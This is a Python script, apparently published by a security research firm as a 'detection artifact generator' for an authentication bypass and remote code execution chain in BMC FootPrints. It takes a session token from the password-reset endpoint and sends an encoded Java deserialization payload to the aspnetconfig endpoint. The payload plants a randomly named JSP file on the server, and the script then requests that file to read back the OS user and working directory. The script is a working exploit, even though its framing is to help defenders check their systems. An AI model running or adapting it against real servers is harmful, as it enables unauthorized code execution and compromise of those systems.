#!/usr/bin/env python3 import sys import requests import re import argparse import base64 import random import string from urllib.parse import urlparse, urljoin, quote, unquote banner = """ __ ___ ___________ __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\ \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/ \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| \\/ \\/ \\/ watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py (*) BMC Footprints Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool - Sonny , watchTowr (sonny@watchTowr.com) CVEs: [CVE-2025-71257, CVE-2025-71260] """ def extract_token_from_cookies(response): """Extract SEC_TOKEN from Set-Cookie header""" if 'Set-Cookie' in response.headers: cookies = response.headers.get('Set-Cookie', '') # Look for SEC_TOKEN in the cookie string match = re.search(r'SEC_TOKEN=([^;]+)', cookies) if match: return match.group(1) return None def generate_randomized_viewstate(serialized_viewstate): """ Decode serialized_viewstate (urlencoded -> base64), replace 'watchTowr' with a random string of the same length, then re-base64 and re-urlencode. Returns (modified_viewstate, random_replacement) so the JSP path can be used. """ target = "watchTowr" random_replacement = ''.join(random.choices(string.ascii_letters + string.digits, k=len(target))) # URL decode -> base64 decode url_decoded = unquote(serialized_viewstate) decoded = base64.b64decode(url_decoded) # Replace watchTowr with random string modified = decoded.replace(target.encode(), random_replacement.encode()) # Base64 encode -> URL encode encoded = base64.b64encode(modified).decode() return quote(encoded, safe=''), random_replacement def make_first_request(base_url, proxies=None): """Make the first request to get the SEC_TOKEN""" url = urljoin(base_url, "/footprints/servicedesk/passwordreset/request/") print(f"[+] Making first request to: {url}") try: response = requests.get(url, timeout=10, proxies=proxies, verify=False, allow_redirects=False) # Extract token from cookies token = extract_token_from_cookies(response) if token: print(f"[+] Successfully extracted SEC_TOKEN: {token}") return token else: print("[-] Failed to extract SEC_TOKEN from response") return None except requests.exceptions.RequestException as e: print(f"[-] Error making first request: {e}") return None def make_second_request(base_url, token, proxies=None): """Make the second request using the extracted token""" url = urljoin(base_url, "/footprints/servicedesk/aspnetconfig") # Headers for the second request headers = { 'Cookie': f'SEC_TOKEN={token}', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded' } # Parameters for the request params = { '__VIEWSTATE': 'watchTowr' } serialized_viewstate = '%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%46%4e%6c%64%4c%70%45%68%5a%57%57%75%4c%63%30%41%77%41%41%65%48%42%33%44%41%41%41%41%41%49%2f%51%41%41%41%41%41%41%41%41%58%4e%79%41%44%52%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4e%76%62%57%31%76%62%6e%4d%75%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%75%61%32%56%35%64%6d%46%73%64%57%55%75%56%47%6c%6c%5a%45%31%68%63%45%56%75%64%48%4a%35%69%71%33%53%6d%7a%6e%42%48%39%73%43%41%41%4a%4d%41%41%4e%72%5a%58%6c%30%41%42%4a%4d%61%6d%46%32%59%53%39%73%59%57%35%6e%4c%30%39%69%61%6d%56%6a%64%44%74%4d%41%41%4e%74%59%58%42%30%41%41%39%4d%61%6d%46%32%59%53%39%31%64%47%6c%73%4c%30%31%68%63%44%74%34%63%48%51%41%47%6e%64%6c%59%6d%46%77%63%48%4d%76%55%6b%39%50%56%43%39%33%59%58%52%6a%61%46%52%76%64%33%49%75%61%6e%4e%77%63%33%49%41%4b%6d%39%79%5a%79%35%68%63%47%46%6a%61%47%55%75%59%32%39%74%62%57%39%75%63%79%35%6a%62%32%78%73%5a%57%4e%30%61%57%39%75%63%79%35%74%59%58%41%75%54%47%46%36%65%55%31%68%63%47%37%6c%6c%49%4b%65%65%52%43%55%41%77%41%42%54%41%41%48%5a%6d%46%6a%64%47%39%79%65%58%51%41%4c%45%78%76%63%6d%63%76%59%58%42%68%59%32%68%6c%4c%32%4e%76%62%57%31%76%62%6e%4d%76%59%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%76%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%49%37%65%48%42%7a%63%67%41%37%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%6a%62%32%31%74%62%32%35%7a%4c%6d%4e%76%62%47%78%6c%59%33%52%70%62%32%35%7a%4c%6d%5a%31%62%6d%4e%30%62%33%4a%7a%4c%6b%4e%76%62%6e%4e%30%59%57%35%30%56%48%4a%68%62%6e%4e%6d%62%33%4a%74%5a%58%4a%59%64%70%41%52%51%51%4b%78%6c%41%49%41%41%55%77%41%43%57%6c%44%62%32%35%7a%64%47%46%75%64%48%45%41%66%67%41%44%65%48%42%31%63%67%41%43%57%30%4b%73%38%78%66%34%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%42%76%6a%77%6c%51%43%42%77%59%57%64%6c%49%47%78%68%62%6d%64%31%59%57%64%6c%50%53%4a%71%59%58%5a%68%49%69%42%6a%62%32%35%30%5a%57%35%30%56%48%6c%77%5a%54%30%69%64%47%56%34%64%43%39%6f%64%47%31%73%4f%79%42%6a%61%47%46%79%63%32%56%30%50%56%56%55%52%69%30%34%49%69%42%77%59%57%64%6c%52%57%35%6a%62%32%52%70%62%6d%63%39%49%6c%56%55%52%69%30%34%49%69%55%2b%43%6a%77%6c%43%69%41%67%49%43%42%54%64%48%4a%70%62%6d%63%67%62%33%4e%56%63%32%56%79%49%44%30%67%55%33%6c%7a%64%47%56%74%4c%6d%64%6c%64%46%42%79%62%33%42%6c%63%6e%52%35%4b%43%4a%31%63%32%56%79%4c%6d%35%68%62%57%55%69%4b%54%73%4b%49%43%41%67%49%46%4e%30%63%6d%6c%75%5a%79%42%6a%64%32%51%67%50%53%42%54%65%58%4e%30%5a%57%30%75%5a%32%56%30%55%48%4a%76%63%47%56%79%64%48%6b%6f%49%6e%56%7a%5a%58%49%75%5a%47%6c%79%49%69%6b%37%43%69%55%2b%43%6a%77%68%52%45%39%44%56%46%6c%51%52%53%42%6f%64%47%31%73%50%67%6f%38%61%48%52%74%62%44%34%4b%50%47%68%6c%59%57%51%2b%43%69%41%67%49%43%41%38%64%47%6c%30%62%47%55%2b%64%32%46%30%59%32%68%55%62%33%64%79%49%46%4e%35%63%33%52%6c%62%53%42%4a%62%6d%5a%76%50%43%39%30%61%58%52%73%5a%54%34%4b%50%43%39%6f%5a%57%46%6b%50%67%6f%38%59%6d%39%6b%65%54%34%4b%49%43%41%67%49%44%78%6f%4d%54%35%54%65%58%4e%30%5a%57%30%67%53%57%35%6d%62%33%4a%74%59%58%52%70%62%32%34%38%4c%32%67%78%50%67%6f%67%49%43%41%67%50%48%41%2b%50%48%4e%30%63%6d%39%75%5a%7a%35%50%55%79%42%56%63%32%56%79%4f%6a%77%76%63%33%52%79%62%32%35%6e%50%69%41%38%4a%54%30%67%62%33%4e%56%63%32%56%79%49%43%55%2b%50%43%39%77%50%67%6f%67%49%43%41%67%50%48%41%2b%50%48%4e%30%63%6d%39%75%5a%7a%35%44%64%58%4a%79%5a%57%35%30%49%46%64%76%63%6d%74%70%62%6d%63%67%52%47%6c%79%5a%57%4e%30%62%33%4a%35%4f%6a%77%76%63%33%52%79%62%32%35%6e%50%69%41%38%4a%54%30%67%59%33%64%6b%49%43%55%2b%50%43%39%77%50%67%6f%38%4c%32%4a%76%5a%48%6b%2b%43%6a%77%76%61%48%52%74%62%44%34%4b%63%33%49%41%50%6d%39%79%5a%79%35%68%63%33%42%6c%59%33%52%71%4c%6e%64%6c%59%58%5a%6c%63%69%35%30%62%32%39%73%63%79%35%6a%59%57%4e%6f%5a%53%35%54%61%57%31%77%62%47%56%44%59%57%4e%6f%5a%53%52%54%64%47%39%79%5a%57%46%69%62%47%56%44%59%57%4e%6f%61%57%35%6e%54%57%46%77%4f%36%73%43%48%30%74%71%56%6c%6f%43%41%41%4e%4b%41%41%70%73%59%58%4e%30%55%33%52%76%63%6d%56%6b%53%51%41%4d%63%33%52%76%63%6d%6c%75%5a%31%52%70%62%57%56%79%54%41%41%47%5a%6d%39%73%5a%47%56%79%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%65%48%49%41%45%57%70%68%64%6d%45%75%64%58%52%70%62%43%35%49%59%58%4e%6f%54%57%46%77%42%51%66%61%77%63%4d%57%59%4e%45%44%41%41%4a%47%41%41%70%73%62%32%46%6b%52%6d%46%6a%64%47%39%79%53%51%41%4a%64%47%68%79%5a%58%4e%6f%62%32%78%6b%65%48%41%2f%51%41%41%41%41%41%41%41%41%48%63%49%41%41%41%41%45%41%41%41%41%41%42%34%41%41%41%42%6d%51%32%71%34%50%30%41%41%41%41%4d%64%41%41%42%4c%6e%68%34' serialized_viewstate, jsp_name = generate_randomized_viewstate(serialized_viewstate) data = f'__VIEWSTATE={serialized_viewstate}' print(f"[+] Making second request to: {url}") print(f"[+] Using token: {token}") print(f"[+] Using randomized JSP name: {jsp_name}") try: response = requests.get(url, params=params, headers=headers, data=data, timeout=10, proxies=proxies, verify=False, allow_redirects=False) return jsp_name except requests.exceptions.RequestException as e: print(f"[-] Error making second request: {e}") return None def make_third_request(base_url, jsp_name, proxies=None): """Make the third request to /.jsp""" url = urljoin(base_url, f"/{jsp_name}.jsp") print(f"[+] Making third request to: {url} (randomized artifact)") try: response = requests.get(url, timeout=10, proxies=proxies, verify=False, allow_redirects=False) # Extract username and working directory from the response username = None working_dir = None # Look for OS User and Current Working Directory in the HTML username_match = re.search(r'OS User:\s*([^<]+)', response.text) if username_match: username = username_match.group(1).strip() working_dir_match = re.search(r'Current Working Directory:\s*([^<]+)', response.text) if working_dir_match: working_dir = working_dir_match.group(1).strip() print("\n" + "="*50) print("EXTRACTED INFORMATION:") print("="*50) if username: print(f"Username: {username}") else: print("Username: Not found") if working_dir: print(f"Working Directory: {working_dir}") else: print("Working Directory: Not found") print("="*50) return True except requests.exceptions.RequestException as e: print(f"[-] Error making third request: {e}") return False def main(): # Print the banner first print(banner) parser = argparse.ArgumentParser(description='BMC FootPrints Pre-Auth RCE Chain Detection Artifact Generator Tool') parser.add_argument('url', help='Target full URL (e.g., http://192.168.1.1:8080') parser.add_argument('-p', '--proxy', help='Proxy address:port (e.g., 127.0.0.1:8081)') args = parser.parse_args() base_url = args.url.rstrip('/') # Remove trailing slash if present proxies = None if args.proxy: proxies = { 'http': f'http://{args.proxy}', 'https': f'http://{args.proxy}' } # Suppress SSL warnings import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) print("="*60) print("Detection Artifact Generator Tool") print("="*60) print(f"Target: {base_url}") if proxies: print(f"Proxy: {args.proxy}") print() # Step 1: Get the SEC_TOKEN token = make_first_request(base_url, proxies) if not token: print("[-] Failed to get SEC_TOKEN. Exiting.") sys.exit(1) print() # Step 2: Use the token in the second request (with randomized viewstate) jsp_name = make_second_request(base_url, token, proxies) if not jsp_name: print("[-] Second request failed. Exiting.") sys.exit(1) print() # Step 3: Make the final request to /.jsp make_third_request(base_url, jsp_name, proxies) print("\n[+] Detection Artifact Generator Completed!") if __name__ == "__main__": main()